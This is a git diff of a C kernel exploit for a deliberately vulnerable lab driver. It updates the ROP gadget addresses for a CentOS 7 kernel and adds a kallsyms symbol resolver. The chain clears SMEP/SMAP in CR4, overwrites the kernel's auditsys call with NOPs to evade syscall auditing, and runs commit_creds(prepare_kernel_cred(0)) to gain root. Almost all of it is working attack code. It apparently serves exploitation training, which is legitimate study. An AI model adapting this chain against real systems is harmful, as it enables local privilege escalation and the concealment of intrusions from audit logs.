diff --git a/rop_exploit.c b/rop_exploit.c index b656822..6bb6308 100644 --- a/rop_exploit.c +++ b/rop_exploit.c @@ -1,8 +1,8 @@ /** * ROP exploit for drv.c kernel module * - * Tested in: - * Linux 3.10.0-327.28.3.el7.x86_64 - CentOS Linux release 7.2.1511 (Core) + * Tested in CentOS Linux release 7.2.1511 (Core): + * Linux 3.10.0-327.36.1.el7.x86_64 * qemu 2.5.0 / i7-4500U * * Compile: @@ -13,6 +13,8 @@ * * Based on Vitaly Nikolenko's work: * https://github.com/vnik5287/kernel_rop/ + * + * Additional thanks to spender! */ #define _GNU_SOURCE @@ -26,6 +28,7 @@ #include #include #include +#include #include "drv.h" #define DEVICE_PATH "/dev/vulndrv" @@ -34,6 +37,11 @@ unsigned long user_cs; unsigned long user_ss; unsigned long user_rflags; +typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); +typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); +_commit_creds commit_creds; +_prepare_kernel_cred prepare_kernel_cred; + static void save_state() { asm( "movq %%cs, %0\n" @@ -52,6 +60,79 @@ void shell(void) { exit(0); } +int __attribute__((regparm(3))) get_root() +{ + commit_creds(prepare_kernel_cred(0)); + return -1; +} + +static unsigned long get_kernel_sym(char *name) +{ + FILE *f; + unsigned long addr; + char dummy; + char sname[512]; + struct utsname ver; + int ret; + int rep = 0; + int oldstyle = 0; + f = fopen("/proc/kallsyms", "r"); + if (f == NULL) { + f = fopen("/proc/ksyms", "r"); + if (f == NULL) + goto fallback; + oldstyle = 1; + } +repeat: + ret = 0; + while(ret != EOF) { + if (!oldstyle) + ret = fscanf(f, "%p %c %s\n", (void **)&addr, &dummy, sname); + else { + ret = fscanf(f, "%p %s\n", (void **)&addr, sname); + if (ret == 2) { + char *p; + if (strstr(sname, "_O/") || strstr(sname, "_S.")) + continue; + p = strrchr(sname, '_'); + if (p > ((char *)sname + 5) && !strncmp(p - 3, "smp", 3)) { + p = p - 4; + while (p > (char *)sname && *(p - 1) == '_') + p--; + *p = '\0'; + } + } + } + if (ret == 0) { + fscanf(f, "%s\n", sname); + continue; + } + if (!strcmp(name, sname)) { + fprintf(stdout, " [+] Resolved %s to %p%s\n", name, (void *)addr, rep ? " (via System.map)" : ""); + fclose(f); + return addr; + } + } + fclose(f); + if (rep) + return 0; +fallback: + /* didn't find the symbol, let's retry with the System.map + dedicated to the pointlessness of Russell Coker's SELinux + test machine (why does he keep upgrading the kernel if + "all necessary security can be provided by SE Linux"?) + */ + uname(&ver); + if (strncmp(ver.release, "2.6", 3)) + oldstyle = 1; + sprintf(sname, "/boot/System.map-%s", ver.release); + f = fopen(sname, "r"); + if (f == NULL) + return 0; + rep = 1; + goto repeat; +} + void usage(char *bin_name) { fprintf(stderr, "%s array_offset_decimal array_base_address_hex\n", bin_name); } @@ -68,6 +149,11 @@ int main(int argc, char *argv[]) return -1; } + // commit_creds = (_commit_creds) 0xffffffff810ac980UL; + // prepare_kernel_cred = (_prepare_kernel_cred) 0xffffffff810acc90UL; + commit_creds = (_commit_creds)get_kernel_sym("commit_creds"); + prepare_kernel_cred = (_prepare_kernel_cred)get_kernel_sym("prepare_kernel_cred"); + /* * req.offset * when xchg_esp_eax_ret_N_rop_gadget % 8 == 0, @@ -99,17 +185,17 @@ int main(int argc, char *argv[]) // fake_stack begins here fake_stack = (unsigned long *)(stack_addr); - *fake_stack ++= 0xffffffff8107c2c4UL; /* pop %rdi; ret */ + *fake_stack ++= 0xffffffff8100359fUL; // : nop ; ret /* * In reality 0x14ff was 0x9d57: * $ grep 0x14ff $(uname -r).gadgets - * 0xffffffff810e03d8 : xchg eax, esp ; ret 0x14ff + * 0xffffffff810e03f8: xchg eax, esp ; ret 0x14ff * * $ sudo gdb /boot/vmlinuz-$(uname -r) /proc/kcore - * (gdb) x/2i 0xffffffff810e03d8 - * 0xffffffff810e03d8: xchg %eax,%esp - * 0xffffffff810e03d9: retq $0x9d57 + * (gdb) x/2xi 0xffffffff810e03f8 + * 0xffffffff810e03f8: xchg esp,eax + * 0xffffffff810e03f9: ret 0x9d57 */ // Update fake_stack's pointer @@ -124,6 +210,7 @@ int main(int argc, char *argv[]) * 0xffffffff8107c2c4 : pop rdi ; ret * */ + *fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret *fake_stack ++= 0x6f0UL; // disabled SMEP and SMAP *fake_stack ++= 0xffffffff8100328dUL; // (Intel) mov cr4, rdi ; pop rbp ; ret *fake_stack ++= 0xdeadbeefUL; // dummy @@ -133,36 +220,41 @@ int main(int argc, char *argv[]) * bypass syscall audit configuration without fully disabling Linux Audit system. * * /proc/kallsyms: - * ffffffff81646c0f t auditsys - * ffffffff8110b940 T __audit_syscall_entry + * ffffffff81646acf t auditsys + * ffffffff8110b960 T __audit_syscall_entry * - * $ objdump -D vmlinux |grep -A1 -B1 ffffffff81646c1e - * ffffffff81646c1b: 48 89 c7 mov %rax,%rdi - * ffffffff81646c1e: e8 1d 4d ac ff callq 0xffffffff8110b940 <-- auditsys+15 calls __audit_syscall_entry - * ffffffff81646c23: 4c 8b 1c 24 mov (%rsp),%r11 + * gdb> x/1xi 0xffffffff81646acf+15 + * 0xffffffff81646ade: call 0xffffffff8110b960 <-- auditsys+15 calls __audit_syscall_entry + * + * NOTE: This will not work if kernel was built witth enabled CONFIG_DEBUG_RODATA (Write protect kernel read-only data structures) */ - *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret + *fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret *fake_stack ++= 0x9090909090909090UL; // rdx is: NOP (will be used to overwrite auditsys's callq __audit_syscall_entry) - *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret - *fake_stack ++= 0xffffffff81646c1eUL; // rdi is: auditsys+15 (0xffffffff81646c1e: callq 0xffffffff8110b940) - *fake_stack ++= 0xffffffff812fc0a6UL; // mov qword ptr [rdi], rdx ; ret (overwrite) + *fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret + *fake_stack ++= 0xffffffff81646adeUL; // rdi is: auditsys+15 + *fake_stack ++= 0xffffffff812fba16UL; // mov qword ptr [rdi], rdx ; ret (overwrite) /* * To switch our process's owner to root, it is enough to execute: * commit_creds(prepare_kernel_cred(0)) syscalls * rdx(rax(0)) + * + * You can also try using get_root function instead of a bare ROP */ - *fake_stack ++= 0xffffffff8107c2c4UL; // pop %rdi; ret + + // *fake_stack ++= (unsigned long)get_root; + + *fake_stack ++= 0xffffffff81114705UL; // pop %rdi; ret *fake_stack ++= 0x0UL; // rdi is NULL - *fake_stack ++= 0xffffffff810acc60UL; // prepare_kernel_cred() and $rax points to cred struct + *fake_stack ++= 0xffffffff810acc90UL; // prepare_kernel_cred() and $rax points to cred struct - *fake_stack ++= 0xffffffff81077cb7UL; // pop %rdx; ret - // *fake_stack ++= 0xffffffff810ac950UL; // commit_creds() - *fake_stack ++= 0xffffffff810ac956UL; // commit_creds() + 2 instructions + *fake_stack ++= 0xffffffff81077d17UL; // pop %rdx; ret + // // *fake_stack ++= 0xffffffff810ac980UL; // commit_creds() + *fake_stack ++= 0xffffffff810ac986UL; // commit_creds() + skip first push instruction - *fake_stack ++= 0xffffffff81016d77UL; // mov %rax, %rdi; call %rdx => calls commit_creds(prepare_kernel_cred(0)) + *fake_stack ++= 0xffffffff81016d77UL; // mov rdi, rax ; call rdx => calls commit_creds(prepare_kernel_cred(0)) // safely return to user-space from the kernel-space